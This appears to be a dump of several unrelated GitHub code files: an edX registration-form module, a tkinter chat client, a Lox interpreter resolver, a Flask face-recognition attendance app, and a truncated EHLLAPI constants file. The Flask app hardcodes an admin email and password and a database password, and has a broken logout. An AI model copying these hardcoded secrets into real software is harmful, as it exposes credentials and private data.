f'REQUIRED_FIELD_{field_name.upper()}_SELECT_MSG')\n\n form_desc.add_field(\n field_name,\n label=field_label,\n field_type=field_type,\n options=options,\n include_default_option=include_default_option,\n required=required,\n error_messages={\n \"required\": error_msg\n }\n )\n\n def _add_profession_field(self, form_desc, required=False):\n \"\"\"Add a profession field to a form description.\n\n Arguments:\n form_desc: A form description\n\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n\n \"\"\"\n # Translators: This label appears above a dropdown menu on the registration\n # form used to select the user's profession\n profession_label = _(\"Profession\")\n\n self._add_field_with_configurable_select_options('profession', profession_label, form_desc, required=required)\n\n def _add_specialty_field(self, form_desc, required=False):\n \"\"\"Add a specialty field to a form description.\n\n Arguments:\n form_desc: A form description\n\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n\n \"\"\"\n # Translators: This label appears above a dropdown menu on the registration\n # form used to select the user's specialty\n specialty_label = _(\"Specialty\")\n\n self._add_field_with_configurable_select_options('specialty', specialty_label, form_desc, required=required)\n\n def _add_mailing_address_field(self, form_desc, required=True):\n \"\"\"Add a mailing address field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # meant to hold the user's mailing address.\n mailing_address_label = _(\"Mailing address\")\n error_msg = accounts.REQUIRED_FIELD_MAILING_ADDRESS_MSG\n\n form_desc.add_field(\n \"mailing_address\",\n label=mailing_address_label,\n field_type=\"textarea\",\n required=required,\n error_messages={\n \"required\": error_msg\n }\n )\n\n def _add_goals_field(self, form_desc, required=True):\n \"\"\"Add a goals field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This phrase appears above a field on the registration form\n # meant to hold the user's reasons for registering with edX.\n goals_label = _(\"Tell us why you're interested in {platform_name}\").format(\n platform_name=configuration_helpers.get_value(\"PLATFORM_NAME\", settings.PLATFORM_NAME)\n )\n error_msg = accounts.REQUIRED_FIELD_GOALS_MSG\n\n form_desc.add_field(\n \"goals\",\n label=goals_label,\n field_type=\"textarea\",\n required=required,\n error_messages={\n \"required\": error_msg\n }\n )\n\n def _add_city_field(self, form_desc, required=True):\n \"\"\"Add a city field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # which allows the user to input the city in which they live.\n city_label = _(\"City\")\n error_msg = accounts.REQUIRED_FIELD_CITY_MSG\n\n form_desc.add_field(\n \"city\",\n label=city_label,\n required=required,\n error_messages={\n \"required\": error_msg\n }\n )\n\n def _add_state_field(self, form_desc, required=False):\n \"\"\"Add a State/Province/Region field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # which allows the user to input the State/Province/Region in which they live.\n state_label = _(\"State/Province/Region\")\n\n form_desc.add_field(\n \"state\",\n label=state_label,\n required=required\n )\n\n def _add_company_field(self, form_desc, required=False):\n \"\"\"Add a Company field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # which allows the user to input the Company\n company_label = _(\"Company\")\n\n form_desc.add_field(\n \"company\",\n label=company_label,\n required=required\n )\n\n def _add_title_field(self, form_desc, required=False):\n \"\"\"Add a Title field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # which allows the user to input the Title\n title_label = _(\"Title\")\n\n form_desc.add_field(\n \"title\",\n label=title_label,\n required=required\n )\n\n def _add_job_title_field(self, form_desc, required=False):\n \"\"\"Add a Job Title field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # which allows the user to input the Job Title\n job_title_label = _(\"Job Title\")\n\n form_desc.add_field(\n \"job_title\",\n label=job_title_label,\n required=required\n )\n\n def _add_first_name_field(self, form_desc, required=False):\n \"\"\"Add a First Name field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # which allows the user to input the First Name\n first_name_label = _(\"First Name\")\n\n form_desc.add_field(\n \"first_name\",\n label=first_name_label,\n required=required\n )\n\n def _add_last_name_field(self, form_desc, required=False):\n \"\"\"Add a Last Name field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to False\n \"\"\"\n # Translators: This label appears above a field on the registration form\n # which allows the user to input the First Name\n last_name_label = _(\"Last Name\")\n\n form_desc.add_field(\n \"last_name\",\n label=last_name_label,\n required=required\n )\n\n def _add_country_field(self, form_desc, required=True):\n \"\"\"Add a country field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This label appears above a dropdown menu on the registration\n # form used to select the country in which the user lives.\n country_label = _(\"Country or Region of Residence\")\n\n error_msg = accounts.REQUIRED_FIELD_COUNTRY_MSG\n\n # If we set a country code, make sure it's uppercase for the sake of the form.\n # pylint: disable=protected-access\n default_country = form_desc._field_overrides.get('country', {}).get('defaultValue')\n\n country_instructions = _(\n # Translators: These instructions appear on the registration form, immediately\n # below a field meant to hold the user's country.\n \"The country or region where you live.\"\n )\n if default_country:\n form_desc.override_field_properties(\n 'country',\n default=default_country.upper()\n )\n\n form_desc.add_field(\n \"country\",\n label=country_label,\n instructions=country_instructions,\n field_type=\"select\",\n options=list(countries),\n include_default_option=True,\n required=required,\n error_messages={\n \"required\": error_msg\n }\n )\n\n def _add_honor_code_field(self, form_desc, required=True):\n \"\"\"Add an honor code field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n\n separate_honor_and_tos = self._is_field_visible(\"terms_of_service\")\n # Separate terms of service and honor code checkboxes\n if separate_honor_and_tos:\n terms_label = _(\"Honor Code\")\n terms_link = marketing_link(\"HONOR\")\n\n # Combine terms of service and honor code checkboxes\n else:\n # Translators: This is a legal document users must agree to\n # in order to register a new account.\n terms_label = _(\"Terms of Service and Honor Code\")\n terms_link = marketing_link(\"HONOR\")\n\n # Translators: \"Terms of Service\" is a legal document users must agree to\n # in order to register a new account.\n label = Text(_(\n \"I agree to the {platform_name} {terms_of_service_link_start}{terms_of_service}{terms_of_service_link_end}\"\n )).format(\n platform_name=configuration_helpers.get_value(\"PLATFORM_NAME\", settings.PLATFORM_NAME),\n terms_of_service=terms_label,\n terms_of_service_link_start=HTML(\"\").format(\n terms_link=terms_link\n ),\n terms_of_service_link_end=HTML(\"\"),\n )\n\n # Translators: \"Terms of Service\" is a legal document users must agree to\n # in order to register a new account.\n error_msg = _(\"You must agree to the {platform_name} {terms_of_service}\").format(\n platform_name=configuration_helpers.get_value(\"PLATFORM_NAME\", settings.PLATFORM_NAME),\n terms_of_service=terms_label\n )\n field_type = 'checkbox'\n\n if not separate_honor_and_tos:\n field_type = 'plaintext'\n\n pp_link = marketing_link(\"PRIVACY\")\n label = Text(_(\n \"By creating an account, you agree to the \\\n {terms_of_service_link_start}{terms_of_service}{terms_of_service_link_end} \\\n and you acknowledge that {platform_name} and each Member process your personal data in accordance \\\n with the {privacy_policy_link_start}Privacy Policy{privacy_policy_link_end}.\"\n )).format(\n platform_name=configuration_helpers.get_value(\"PLATFORM_NAME\", settings.PLATFORM_NAME),\n terms_of_service=terms_label,\n terms_of_service_link_start=HTML(\"\").format(\n terms_url=terms_link\n ),\n terms_of_service_link_end=HTML(\"\"),\n privacy_policy_link_start=HTML(\"\").format(\n pp_url=pp_link\n ),\n privacy_policy_link_end=HTML(\"\"),\n )\n\n form_desc.add_field(\n \"honor_code\",\n label=label,\n field_type=field_type,\n default=False,\n required=required,\n error_messages={\n \"required\": error_msg\n },\n )\n\n def _add_terms_of_service_field(self, form_desc, required=True):\n \"\"\"Add a terms of service field to a form description.\n Arguments:\n form_desc: A form description\n Keyword Arguments:\n required (bool): Whether this field is required; defaults to True\n \"\"\"\n # Translators: This is a legal document users must agree to\n # in order to register a new account.\n terms_label = _(\"Terms of Service\")\n terms_link = marketing_link(\"TOS\")\n\n # Translators: \"Terms of service\" is a legal document users must agree to\n # in order to register a new account.\n label = Text(_(\"I agree to the {platform_name} {tos_link_start}{terms_of_service}{tos_link_end}\")).format(\n platform_name=configuration_helpers.get_value(\"PLATFORM_NAME\", settings.PLATFORM_NAME),\n terms_of_service=terms_label,\n tos_link_start=HTML(\"\").format(\n terms_link=terms_link\n ),\n tos_link_end=HTML(\"\"),\n )\n\n # Translators: \"Terms of service\" is a legal document users must agree to\n # in order to register a new account.\n error_msg = _(\"You must agree to the {platform_name} {terms_of_service}\").format(\n platform_name=configuration_helpers.get_value(\"PLATFORM_NAME\", settings.PLATFORM_NAME),\n terms_of_service=terms_label\n )\n\n form_desc.add_field(\n \"terms_of_service\",\n label=label,\n field_type=\"checkbox\",\n default=False,\n required=required,\n error_messages={\n \"required\": error_msg\n },\n )\n\n def _apply_third_party_auth_overrides(self, request, form_desc):\n \"\"\"Modify the registration form if the user has authenticated with a third-party provider.\n If a user has successfully authenticated with a third-party provider,\n but does not yet have an account with EdX, we want to fill in\n the registration form with any info that we get from the\n provider.\n This will also hide the password field, since we assign users a default\n (random) password on the assumption that they will be using\n third-party auth to log in.\n Arguments:\n request (HttpRequest): The request for the registration form, used\n to determine if the user has successfully authenticated\n with a third-party provider.\n form_desc (FormDescription): The registration form description\n \"\"\"\n # pylint: disable=too-many-nested-blocks\n if third_party_auth.is_enabled():\n running_pipeline = third_party_auth.pipeline.get(request)\n if running_pipeline:\n current_provider = third_party_auth.provider.Registry.get_from_pipeline(running_pipeline)\n\n if current_provider:\n # Override username / email / full name\n field_overrides = current_provider.get_register_form_data(\n running_pipeline.get('kwargs')\n )\n\n # When the TPA Provider is configured to skip the registration form and we are in an\n # enterprise context, we need to hide all fields except for terms of service and\n # ensure that the user explicitly checks that field.\n # pylint: disable=consider-using-ternary\n hide_registration_fields_except_tos = (\n (\n current_provider.skip_registration_form and enterprise_customer_for_request(request)\n ) or current_provider.sync_learner_profile_data\n )\n\n for field_name in self.DEFAULT_FIELDS + self.EXTRA_FIELDS:\n if field_name in field_overrides:\n form_desc.override_field_properties(\n field_name, default=field_overrides[field_name]\n )\n\n if (\n field_name not in ['terms_of_service', 'honor_code'] and\n field_overrides[field_name] and\n hide_registration_fields_except_tos\n ):\n form_desc.override_field_properties(\n field_name,\n field_type=\"hidden\",\n label=\"\",\n instructions=\"\",\n )\n\n # Hide the confirm_email field\n form_desc.override_field_properties(\n \"confirm_email\",\n default=\"\",\n field_type=\"hidden\",\n required=False,\n label=\"\",\n instructions=\"\",\n restrictions={}\n )\n\n # Hide the password field\n form_desc.override_field_properties(\n \"password\",\n default=\"\",\n field_type=\"hidden\",\n required=False,\n label=\"\",\n instructions=\"\",\n restrictions={}\n )\n # used to identify that request is running third party social auth\n form_desc.add_field(\n \"social_auth_provider\",\n field_type=\"hidden\",\n label=\"\",\n default=current_provider.name if current_provider.name else \"Third Party\",\n required=False,\n )\n","repo_name":"openedx/edx-platform","sub_path":"openedx/core/djangoapps/user_authn/views/registration_form.py","file_name":"registration_form.py","file_ext":"py","file_size_in_byte":47574,"program_lang":"python","lang":"en","doc_type":"code","stars":6774,"dataset":"github-code","pt":"3"} +{"seq_id":"35332774044","text":"#encoding:utf-8\nimport socket # 导入 socket 模块\nimport tkinter\nimport threading\nfrom datetime import datetime\n\ns = socket.socket() # 创建 socket 对象\n\n\ndef func():\n host = ipplace_text.get()\n port = port_text.get()\n s.connect((host, int(port)))\n recv = bytes.decode(s.recv(1024))\n text.insert(tkinter.INSERT, '服务器：'+recv +' '+ str(datetime.now())[:19] + ' ')\n while True:\n message = bytes.decode(s.recv(1024))\n if not message:\n break\n text.insert(tkinter.INSERT, '服务器：'+message + ' ' + str(datetime.now())[:19] + ' ')\n s.close()\n\ndef CloseListen():\n s.close()\n\ndef func2():\n t = input_text.get()\n text.insert(tkinter.INSERT,'客户端：'+ t +' '+str(datetime.now())[:19]+' ')\n s.send(bytes(t, encoding='utf-8'))\n\ndef thredt_it():\n t = threading.Thread(target=func)\n # 启动\n t.start()\n\ndef SendMsg():\n t2 = threading.Thread(target=func2)\n t2.start()\n\ndef Clear():\n text.delete('1.0', 'end')\n\nwin = tkinter.Tk()\nwin.geometry(\"500x700\")\nwin.title('客户端')\nipplace_label = tkinter.Label(win,width=10,text='ip地址：')\nipplace_label.pack()\n\nipplace_text = tkinter.Entry(win)\nipplace_text.pack()\n\nport_label = tkinter.Label(win,width=10,text='端口号：')\nport_label.pack()\n\nport_text = tkinter.Entry(win)\nport_text.pack()\n\nbutton1 = tkinter.Button(win,text='连接',bg='pink',width=10,height=1,command=thredt_it)\nbutton1.pack(pady=10)\n\nbutton4 = tkinter.Button(win,text='断开连接',bg='pink',width=10,height=1,command=CloseListen)\nbutton4.pack(pady=10)\n\n\ninput_text_label = tkinter.Label(win,width=20,text='请输入内容：')\ninput_text_label.pack()\n\ninput_text = tkinter.Entry(win,width=100)\ninput_text.pack()\n\nbutton2 = tkinter.Button(win,text='发送',bg='pink',width=10,height=1,command=SendMsg)\nbutton2.pack(pady=10)\n\ntext_label = tkinter.Label(win,width=10,text='聊天记录：')\ntext_label.pack()\n\ntext = tkinter.Text(win,width=100,height=20)\ntext.pack()\n\nbutton3 = tkinter.Button(win,text='清空聊天记录',bg='pink',width=10,height=1,command=Clear)\nbutton3.pack(pady=10)\n\nbutton5 = tkinter.Button(win,text='退出',bg='pink',width=10,height=1,command=lambda :win.quit())\nbutton5.pack(pady=10)\n\n\nwin.mainloop()\n\n","repo_name":"RelaxedDong/python_base","sub_path":"tkinter/tkinter网络编程/client.py","file_name":"client.py","file_ext":"py","file_size_in_byte":2270,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"74375201360","text":"from ast import parse\nimport typing as t\nfrom functools import singledispatchmethod\nfrom enum import Enum, auto\n\nfrom ..parser.expr import *\nfrom ..parser.stmt import *\nfrom ..handle_errors import parse_error, error\n\n\nclass FunctionType(Enum):\n FUNCTION = auto()\n INITIALIZER = auto()\n NONE = auto()\n METHOD = auto()\n\n\nclass ClassType(Enum):\n NONE = auto()\n CLASS = auto()\n SUBCLASS = auto()\n\n\nclass Resolver(BaseVisitor, StmtVisitor):\n def __init__(self, interpreter):\n self._interpreter = interpreter\n self._scopes = []\n self._current_function = FunctionType.NONE\n self._current_class = ClassType.NONE\n \n def visit_var_stmt(self, stmt: \"Var_stmt\"):\n self._declare(stmt.name)\n if stmt.initializer is not None:\n self.resolve(stmt.initializer)\n self._define(stmt.name)\n return None\n \n def visit_assign_var_expr(self, expr: \"Assign_var_expr\"):\n self.resolve(expr.value)\n self._resolve_local(expr, expr.name)\n return None\n \n def visit_assign_list_expr(self, expr: \"Assign_list_expr\"):\n for val in expr.values:\n self.resolve(val)\n self._resolve_local(expr, expr.name)\n return None\n\n def visit_list_stmt(self, stmt: \"List_stmt\"):\n self._declare(stmt.name)\n for val in stmt.values:\n self.resolve(val)\n self._define(stmt.name)\n \n def visit_variable_expr(self, expr: Variable_expr):\n if self._scopes and self._scopes[-1].get(expr.name.lexeme) is False:\n parse_error(expr.name, \"Can't read local varialbe in its owm initializer.\")\n \n self._resolve_local(expr, expr.name)\n return None\n \n def visit_list_expr(self, expr: \"List_expr\"):\n return self.visit_variable_expr(expr)\n \n def _declare(self, name: \"Token\"):\n if not self._scopes: return\n\n scope = self._scopes[-1]\n if name.lexeme in scope.keys():\n parse_error(name, \"Already a variable with this name in this scope.\")\n scope[name.lexeme] = False\n \n def _define(self, name: \"Token\"):\n if not self._scopes: return\n scope = self._scopes[-1]\n scope[name.lexeme] = True\n \n def _resolve_local(self, expr: Expr, name: Token):\n for i, scope in enumerate(reversed(self._scopes)):\n if name.lexeme in scope.keys():\n self._interpreter.resolve(expr, i)\n return\n \n def visit_this_expr(self, expr: \"This_expr\"):\n if self._current_class == ClassType.NONE:\n error(expr.keyword.line, \"Can't use 'this' outside of a class.\")\n return None\n self._resolve_local(expr, expr.keyword)\n return None\n \n def visit_block_stmt(self, stmt: Block_stmt):\n self._begin_scope()\n self.resolve(stmt.statements)\n self._end_scope()\n \n def visit_function_stmt(self, stmt: \"Function_stmt\"):\n self._declare(stmt.name)\n self._define(stmt.name)\n\n self._resolve_function(stmt, FunctionType.FUNCTION)\n return None\n \n def _resolve_function(self, function: Function_stmt, type: FunctionType):\n enclosing_function = self._current_function\n self._current_function = type\n self._begin_scope()\n for param in function.params:\n self._declare(param)\n self._define(param)\n self.resolve(function.body)\n self._end_scope()\n self._current_function = enclosing_function\n \n def visit_expression_stmt(self, stmt: \"Expression_stmt\"):\n self.resolve(stmt.expression)\n return None\n\n def visit_if_stmt(self, stmt: \"If_stmt\"):\n self.resolve(stmt.condition)\n self.resolve(stmt.then_branch)\n if stmt.else_branch is not None:\n self.resolve(stmt.else_branch)\n return None\n\n def visit_print_stmt(self, stmt: \"Print_stmt\"):\n self.resolve(stmt.expression)\n return None\n \n def visit_return_stmt(self, stmt: \"Return_stmt\"):\n if self._current_function == FunctionType.NONE:\n parse_error(stmt.keyword, \"Can't return from top-level code.\")\n if stmt.value is not None:\n if self._current_function == FunctionType.INITIALIZER:\n parse_error(stmt.keyword, \"Can't return a value from an initializer.\")\n self.resolve(stmt.value)\n return None\n \n def visit_class_stmt(self, stmt: \"Class_stmt\"):\n enclosing_class = self._current_class\n self._current_class = ClassType.CLASS\n self._declare(stmt.name)\n self._define(stmt.name)\n\n if stmt.superclass is not None and stmt.name.lexeme == stmt.superclass.name.lexeme:\n error(stmt.superclass.name, \"A class can't inherit from itself.\")\n\n if stmt.superclass is not None:\n self._current_class = ClassType.SUBCLASS\n self.resolve(stmt.superclass)\n self._begin_scope()\n self._scopes[-1][\"super\"] = True\n\n self._begin_scope()\n self._scopes[-1][\"this\"] = True\n\n for method in stmt.methods:\n declaration = FunctionType.METHOD\n if method.name.lexeme == \"init\":\n declaration = FunctionType.INITIALIZER\n self._resolve_function(method, declaration)\n \n self._end_scope()\n if stmt.superclass is not None: self._end_scope()\n self._current_class = enclosing_class\n return None\n\n def visit_while_stmt(self, stmt: \"While_stmt\"):\n self.resolve(stmt.condition)\n self.resolve(stmt.body)\n return None\n \n def visit_binary_expr(self, expr: \"Binary_expr\"):\n self.resolve(expr.left)\n self.resolve(expr.right)\n return None\n\n def visit_call_expr(self, expr: \"Call_expr\"):\n self.resolve(expr.callee)\n for arg in expr.arguments:\n self.resolve(arg)\n return None\n \n def visit_get_expr(self, expr: \"Get_expr\"):\n self.resolve(expr.object)\n return None\n \n def visit_list_get_expr(self, expr: \"List_get_expr\"):\n self.resolve(expr.index)\n self.resolve(expr.name)\n return None\n \n def visit_set_expr(self, expr: \"Set_expr\"):\n self.resolve(expr.value)\n self.resolve(expr.object)\n return None\n \n def visit_super_expr(self, expr: \"Super_expr\"):\n if self._current_class == ClassType.NONE:\n error(expr.keyword.line, \"Can't use 'super' outside of a class.\")\n elif self._current_class != ClassType.SUBCLASS:\n error(expr.keyword.line, \"Can't use 'super' in a class with no superclass.\")\n self._resolve_local(expr, expr.keyword)\n return None\n \n def visit_grouping_expr(self, expr: \"Grouping_expr\"):\n self.resolve(expr.expression)\n return None\n\n def visit_literal_expr(self, expr: \"Literal_expr\"):\n return None\n \n def visit_logical_expr(self, expr: \"Logical_expr\"):\n self.resolve(expr.left)\n self.resolve(expr.right)\n return None\n \n def visit_unary_expr(self, expr: \"Unary_expr\"):\n self.resolve(expr.right)\n return None\n\n def _begin_scope(self):\n self._scopes.append({})\n \n def _end_scope(self):\n self._scopes.pop()\n \n @singledispatchmethod\n def resolve(self, arg):\n raise NotImplementedError(f\"Unexpected type provided.\")\n \n @resolve.register(list)\n def _(self, arg: t.List[Stmt]):\n for statement in arg:\n self.resolve(statement)\n\n @resolve.register(Stmt)\n def _(self, arg: Stmt):\n arg.accept(self)\n\n @resolve.register(Expr)\n def _(self, arg: Expr):\n arg.accept(self)\n","repo_name":"EdvardsF/lox-interpreter","sub_path":"lox/interpreter/resolver.py","file_name":"resolver.py","file_ext":"py","file_size_in_byte":7728,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"29371368125","text":"from flask import Flask,render_template,request,redirect,url_for,session,Response\nfrom flask_mysqldb import MySQL\nimport MySQLdb.cursors\nimport pickle\nimport cv2\nimport os\nfrom keras_facenet import FaceNet\nfrom mtcnn.mtcnn import MTCNN\nimport numpy as np\nimport mysql.connector as db_connector\nfrom datetime import date,time\nfrom face import Embeddings\nfrom werkzeug.utils import secure_filename\n\nmy_db = db_connector.connect(host = \"192.168.149.242\",user = \"ankit\",passwd = \"deeplearning\",\ndatabase = \"iitranchi_attendence_system\",auth_plugin=\"mysql_native_password\",autocommit = True)\nmy_cursor = my_db.cursor()\n\nfile = open(\"encoded_data.p\",\"rb\")\nface_embeddings = pickle.load(file)\n\napp = Flask(__name__,template_folder=\"template\") \napp.secret_key = os.urandom(22)\n\nUPLOAD_FOLDER = os.path.join('static', 'uploads')\napp.config['UPLOAD_FOLDER'] = UPLOAD_FOLDER\n \n\nstreaming= True\n\ndef mark_attendence(id,name):\n try:\n current_day = date.today()\n my_cursor.execute(\"insert into attendence values(%s , %s, %s);\",(id,name,current_day))\n except:\n return \n \ndef video_streaming():\n face_encoder = FaceNet()\n face_detector = MTCNN()\n global capture\n capture = cv2.VideoCapture(0)\n while streaming:\n isTrue,image = capture.read()\n if not isTrue:\n continue\n try:\n img = cv2.cvtColor(image,cv2.COLOR_BGR2RGB)\n bbox = face_detector.detect_faces(img)[0][\"box\"]\n x,y,w,h = bbox\n x1,y1,x2,y2 = x,y,x+w,y+h\n face = img[y1:y2,x1:x2]\n face = face.reshape(1,face.shape[0],face.shape[1],face.shape[2])\n embeddings = face_encoder.embeddings(face)\n student_id = []\n distance = []\n for id,vector in face_embeddings.items():\n student_id.append(id)\n distance.append(face_encoder.compute_distance(embeddings[0],vector[0]))\n id = student_id[np.argmin(distance)]\n my_cursor.execute(\"select student_name from students where student_id = %s\",(id,))\n name = my_cursor.fetchone()[0]\n cv2.rectangle(image,(x1,y1),(x2,y2),(255,0,0),3)\n cv2.putText(image,name,(x1,y1),cv2.FONT_HERSHEY_TRIPLEX,2,(0,0,255))\n ret,buffer = cv2.imencode(\".jpg\",image)\n image = buffer.tobytes()\n mark_attendence(id,name)\n yield (b'--frame\\r\\n'\n b'Content-Type: image/jpeg\\r\\n\\r\\n' + image + b'\\r\\n') \n except:\n continue\n capture.release()\n cv2.destroyAllWindows()\n\n@app.route('/')\ndef landing_page():\n return render_template('login_page.html')\n\n@app.route(\"/home\")\ndef home():\n return render_template(\"home_page.html\")\n\n@app.route(\"/login\",methods = [\"GET\",\"POST\"])\ndef login():\n user_name = \"as0287519@gmail.com\"\n pass_word = \"nidhi_kuswaha\"\n if(request.method == \"POST\" and \"username\" in request.form and \"password\" in request.form):\n username = request.form[\"username\"]\n password = str(request.form[\"password\"])\n if username == user_name and password == pass_word:\n session[\"loggedin\"] = True\n session[\"username\"] = username\n session[\"id\"] = username\n return redirect(\"/home\")\n else:\n return render_template('login_page.html')\n \n@app.route(\"/logout\",methods = [\"POST\"])\ndef logout():\n session.pop[\"loggedin\"]\n session.pop[\"username\"]\n session.pop[\"id\"]\n return redirect('login_page.html')\n\n@app.route('/take_attendence',methods = [\"POST\"])\ndef take_attendence():\n return render_template('attendence.html')\n\n@app.route('/attendence')\ndef attendence():\n return Response(video_streaming(), mimetype='multipart/x-mixed-replace; boundary=frame')\n\n@app.route('/stopcamera', methods=[\"GET\",'POST'])\ndef stopcamera(): \n capture.release()\n cv2.destroyAllWindows()\n return redirect(\"/home\")\n\n@app.route('/add')\ndef add():\n return render_template('new_student.html')\n\n@app.route('/information')\ndef information():\n return render_template('information.html')\n\n@app.route('/new_registration',methods = [\"GET\",\"POST\"])\ndef new_registration():\n if (request.method == \"POST\" and \"student_name\" in request.form and \"roll_no\" in request.form and \"semester\" in request.form \n and \"image\" in request.files):\n name = request.form[\"student_name\"]\n roll = request.form[\"roll_no\"]\n semester = request.form[\"semester\"]\n image = request.files[\"image\"]\n img_filename = secure_filename(image.filename)\n image.save(os.path.join(app.config['UPLOAD_FOLDER'], img_filename))\n img_file_path = os.path.join(app.config['UPLOAD_FOLDER'], img_filename)\n embeddings = Embeddings()\n embeddings.adding_new_face(img_file_path,roll)\n my_cursor.execute('insert into students values(%s,%s,%s)',(roll,name,semester))\n msg = 'new student is registered successfully!'\n return redirect(\"/home\")\n return redirect(\"/home\")\n \n\n@app.route(\"/students_information\",methods = [\"POST\"])\ndef students_information():\n if (request.method == \"POST\" and \"date\" in request.form):\n date = request.form[\"date\"]\n my_cursor.execute(\"select count(student_id) from attendence where in_time = %s\",(date,))\n count = my_cursor.fetchone()[0]\n return f\"total number of students present at given date is{count}\"\n if request.method == 'POST' and \"roll_no\" in request.form:\n student_id = request.form[\"roll_no\"]\n my_cursor.execute(\"select count(in_time) from attendence where student_id = %s\",(student_id,))\n class_attended = my_cursor.fetchone()[0]\n info = dict()\n my_cursor.execute(\"select student_name from students where student_id = %s\",(student_id,))\n name = my_cursor.fetchone()[0]\n info[\"student_id\"] = student_id\n info[\"class_attended\"] = class_attended\n info[\"student_name\"] = name \n return info\n else:\n return redirect(\"/home\")\n\n\n\nif __name__ == '__main__':\n app.run(debug=True)\n\n","repo_name":"curious-99/Attendence-System-by-Face-Recognition","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6070,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"3"} +{"seq_id":"17560164717","text":"# Dictionary for keyboard commands\nkeyboard_mnemonics = {'TAB':'@T', 'ENTER':'@E', 'ERASEEOF':'@F', 'BACKSPACE':'@<', 'BACKTAB':'@B', 'CLEAR':'@C', 'DOWN':'@V', 'LEFT':'@L', 'RIGHT':'@Z', 'CURSEL':'@A@J', 'UP':'@U', 'DELETE':'@D', 'PF1':'@1', 'PF2':'@2', 'PF3':'@3', 'PF4':'@4', 'PF5':'@5', 'PF6':'@6', 'PF7':'@7', 'PF8':'@8', 'PF9':'@9', 'PF10':'@a', 'PF11':'@b', 'PF12':'@c', 'PF13':'@d', 'PF14':'@e', 'PF15':'@f', 'PF16':'@g', 'PF17':'@h', 'PF18':'@i', 'PF19':'@j', 'PF20':'@k', 'PF21':'@l', 'PF22':'@m', 'PF23':'@n', 'PF24':'@o', 'PA1':'@x', 'PA2':'@y', 'PA3':'@z', 'PAGEUP':'@u', 'PAGEDN':'@v', 'RESET':'@R', 'SYSREQ':'@A@H', 'HELP':'@H', 'HOME':'@0', 'INSERT':'@I', 'NEWLINE':'@N', 'DUP':'@S@x', 'ERINP':'@A@F', 'FLDEXT':'@A@E', 'FIELDMARK':'@S@y', 'FIELD-':'@A@-', 'FIELD+':'@A@+'}\n\n# IBM EHLLAPI Function numbers\n\nCONNECT_PRESENTATION_SPACE = 1\nDISCONNECT_PRESENTATION_SPACE = 2\nSEND_KEY = 3\nWAIT = 4\nCOPY_PRESENTATION_SPACE = 5\nSEARCH_PRESENTATION_SPACE = 6\nQUERY_CURSOR_LOCATION = 7\nCOPY_PRESENTATION_SPACE_TO_STRING = 8\nSET_SESSION_PARAMETERS = 9\nQUERY_SESSIONS = 10\nRESERVE = 11\nRELEASE = 12\nCOPY_OIA = 13\nQUERY_FIELD_ATTRIBUTE = 14\nCOPY_STRING_TO_PRESENTATION_SPACE = 15\nPAUSE = 18\nQUERY_SYSTEM = 20\nRESET_SYSTEM = 21\nQUERY_SESSION_STATUS = 22\nSTART_HOST_NOTIFICATION = 23\nQUERY_HOST_UPDATE = 24\nSTOP_HOST_NOTIFICATION = 25\nSEARCH_FIELD = 30\nFIND_FIELD_POSITION = 31\nFIND_FIELD_LENGTH = 32\nCOPY_STRING_TO_FIELD = 33\nCOPY_FIELD_TO_STRING = 34\nSET_CURSOR = 40\nSTART_CLOSE_INTERCEPT = 41\nQUERY_CLOSE_INTERCEPT = 42\nSTOP_CLOSE_INTERCEPT = 43\nSTART_KEYSTROKE_INTERCEPT = 50\nGET_KEY = 51\nPOST_INTERCEPT_STATUS = 52\nSTOP_KEYSTROKE_INTERCEPT = 53\nLOCK_PRESENTATION_SPACE_API = 60\nLOCK_WINDOW_SERVICES_API = 61\nSTART_COMMUNICATION_NOTIFICATION = 80\nQUERY_COMMUNICATION_EVENT = 81\nSTOP_COMMUNICATION_NOTIFICATION = 82\nSEND_FILE = 90\nRECEIVE_FILE = 91\nCANCEL_FILE_TRANSFER = 92\nCONVERT_POSITION_OR_CONVERT_ROWCOL = 99\nCONNECT_WINDOW_SERVICES = 101\nDISCONNECT_WINDOW_SERVICE = 102\nQUERY_WINDOW_COORDINATES = 103\nWINDOW_STATUS = 104\nCHANGE_SWITCH_LIST_LT_NAME = 105\nCHANGE_PS_WINDOW_NAME = 106\nSTART_PLAYING_MACRO = 110\nCONNECT_FOR_STRUCTURED_FIELDS = 120\nDISCONNECT_FROM_STRUCTURED_FIELDS = 121\nQUERY_COMMUNICATIONS_BUFFER_SIZE = 122\nALLOCATE_COMMUNICATIONS_BUFFER = 123\nFREE_COMMUNICATIONS_BUFFER = 124\nGET_REQUEST_COMPLETION = 